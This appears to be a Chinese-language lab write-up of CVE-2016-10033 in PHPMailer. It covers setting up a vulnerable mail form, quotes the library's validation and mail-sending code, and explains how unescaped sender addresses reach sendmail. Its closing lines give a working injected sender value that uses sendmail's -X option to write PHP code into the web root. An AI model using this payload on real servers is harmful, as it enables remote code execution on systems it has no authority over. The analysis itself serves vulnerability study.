Web安全 -- CVE-2016-10033漏洞

引言

CVE-2016-10033漏洞背景

独立研究人员Dawid Golunski发现该漏洞—远程攻击者利用该漏洞，可实现远程任意代码在web服务器上执行,并使web应用陷入威胁中。攻击者主要在常见的web表单如意见反悔表单、注册表单中，邮件密码重置表单等使用发送的组建时利用此漏洞。
漏洞影响的版本PHPMailer < 5.2.18

环境搭建

模拟如图网络环境

web服务器配置

web服务器的系统为centos7，添加两块网卡。
首先需要安装apache服务和php。

安装sendmail

安装完之后在/etc/php.ini添加如下内容

启动web服务

# service httpd start

进入/var/www/html目录

# git clone https://github.com/PHPMailer/PHPMailer # cd PHPMailer # git checkout –b CVE-2016010033 v5.2.17 //获取分支v5.2.17版本

新建index.php 文件，内容如下：

<html> <head> <title>Vulnerable Mail Form</title> </head> <body> <h1> Vulnerable mail form </h1> <form action="" method="POST" enctype="multipart/form-data"> <input type="hidden" name="action" value="submit"> Your name:<br> <input name="name" type="text" value="" size="30"/><br> Your email:<br> <input name="email" type="text" value="" size="30"/><br> Your message:<br> <textarea name="message" rows="7" cols="30"></textarea><br> <input type="submit" value="Send email"/> </form> <pre> <?php $action=$_REQUEST['action']; if ($action!=""){ $name=$_REQUEST['name']; $email=$_REQUEST['email']; $message=$_REQUEST['message']; if (($name=="")||($email=="")||($message=="")){ echo "There are missing fields."; }else{ require 'vulnerable/PHPMailerAutoload.php'; $mail = new PHPMailer; $mail->Host = "localhost"; $mail->setFrom($email, 'Vulnerable Server'); $mail->addAddress('admin@vulnerable.com', 'Hacker'); $mail->Subject = "Message from $name"; $mail->Body = $message; if(!$mail->send()){ echo 'Message was not sent.'; echo 'Mailer error: ' . $mail->ErrorInfo; }else{ echo 'Message has been sent.'; } } } ?> </pre> </body> </html>

搭建完后如图所示

在/etc/sysconfig/network-script/ifcfg-enp0s3,/etc/sysconfig/network-scripts/ifcfg-enp0s8 中dhcp改成static添加

BROADCAT=192.168.58.255 NETMASK=255.255.255.0 IPADDR=192.168.58.101 BROADCAST=192.168.86.255 NETMASK=255.255.255.0 IPADDR=192.168.86.101

WIN7主机设置

设置静态IP 192.168.86.102

漏洞分析

PHPMailer class使用了PHP的mail()函数来进行邮件发送。在class.phpmailer.php文件的mailSend函数实现了发送邮件的功能。
mailSend函数部分代码如下

protected function mailSend($header, $body) { $toArr = array(); foreach ($this->to as $toaddr) { $toArr[] = $this->addrFormat($toaddr); } $to = implode(', ', $toArr); $params = null; //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver if (!empty($this->Sender)) { $params = sprintf('-f%s', $this->Sender); } if ($this->Sender != '' and !ini_get('safe_mode')) { $old_from = ini_get('sendmail_from'); ini_set('sendmail_from', $this->Sender); } $result = false; if ($this->SingleTo and count($toArr) > 1) { foreach ($toArr as $toAddr) { $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);

从github上比较v5.2.17和v5.2.18的版本的mailSend函数

从修改的情况来看，v5.2.18版本增加了使用validateAddress函数来检测$this->Sender并且使用了escapeshellarg函数过滤$this->Sender，可见是为了防止注入参数。
跟随$param，$param作为参数传入了mailPassthru函数。

$result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);

$param不为空，则传入了mail函数。
$param作为sendmail的额外参数，其中sendmail的-X参数会将流量记录到文件中从而实现RCE。
$this->Sender的设置在setFrom函数中

从该函数中可以看出$address通过了validateAddress函数的检查后才传入到$this->Sender

public static function validateAddress($address, $patternselect = null) { if (is_null($patternselect)) { $patternselect = self::$validator; } if (is_callable($patternselect)) { return call_user_func($patternselect, $address); } //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321 if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) { return false; } if (!$patternselect or $patternselect == 'auto') { //Check this constant first so it works when extension_loaded() is disabled by safe mode //Constant was added in PHP 5.2.4 if (defined('PCRE_VERSION')) { //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) { $patternselect = 'pcre8'; } else { $patternselect = 'pcre'; } } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) { //Fall back to older PCRE $patternselect = 'pcre'; } else { //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension if (version_compare(PHP_VERSION, '5.2.0') >= 0) { $patternselect = 'php'; } else { $patternselect = 'noregex'; } } } switch ($patternselect) { case 'pcre8': /** * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains. * @link http://squiloople.com/2009/12/20/email-address-validation/ * @copyright 2009-2010 Michael Rushton * Feel free to use and redistribute this code. But please keep this copyright notice. */ return (boolean)preg_match( '/^(?!(?>(?1)"?(?>\\ $$ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)($(?>(?2)' . '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[ $$ -\x7F]|\\ $$ \x00-\x7F]|(?3)))*(?2)$))+(?2))|(?2))?)' . '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[ $$ -\x7F]|\\ $$ \x00-\x7F]))*' . '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][: $$ ]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address ); case 'pcre': //An older regex that doesn't need a recent PCRE return (boolean)preg_match( '/^(?!(?>"?(?>\\ $$ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' . '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[ $$ -\x7F]|\\ $$ \x00-\xFF]))*")' . '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[ $$ -\x7F]|\\ $$ \x00-\xFF]))*"))*' . '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' . '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' . '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][: $$ ]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' . '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' . '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' . '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD', $address ); case 'html5': /** * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements. * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email) */ return (boolean)preg_match( '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $address ); case 'noregex': //No PCRE! Do something _very_ approximate! //Check the address is 3 chars or longer and contains an @ that's not the first or last char return (strlen($address) >= 3 and strpos($address, '@') >= 1 and strpos($address, '@') != strlen($address) - 1); case 'php': default: return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL); } }

这个函数根据PCRE_VERSION和PHP_VERSION来选择过滤的方式，如果php不支持PCRE(preg_replace函数)，php版本小于5.2.0 ，这时会使用 noregex的方式，其判断为

输入长度大于3

含有@

@不是最后一个字符
所以只要绕过validateAddress函数。这边最简单的绕过条件是PHP版本小于5.2.0并且满足以上三个条件。
在CVE的POC给出了bypass这个函数的方法,经过一些修改后"<?php phpinfo();?>". -OQueueDirectory=/tmp/. -X/var/www/html/shell.php @swehack.org 打开shell.php后，<?php phpinfo();?>成功写入shell.php中。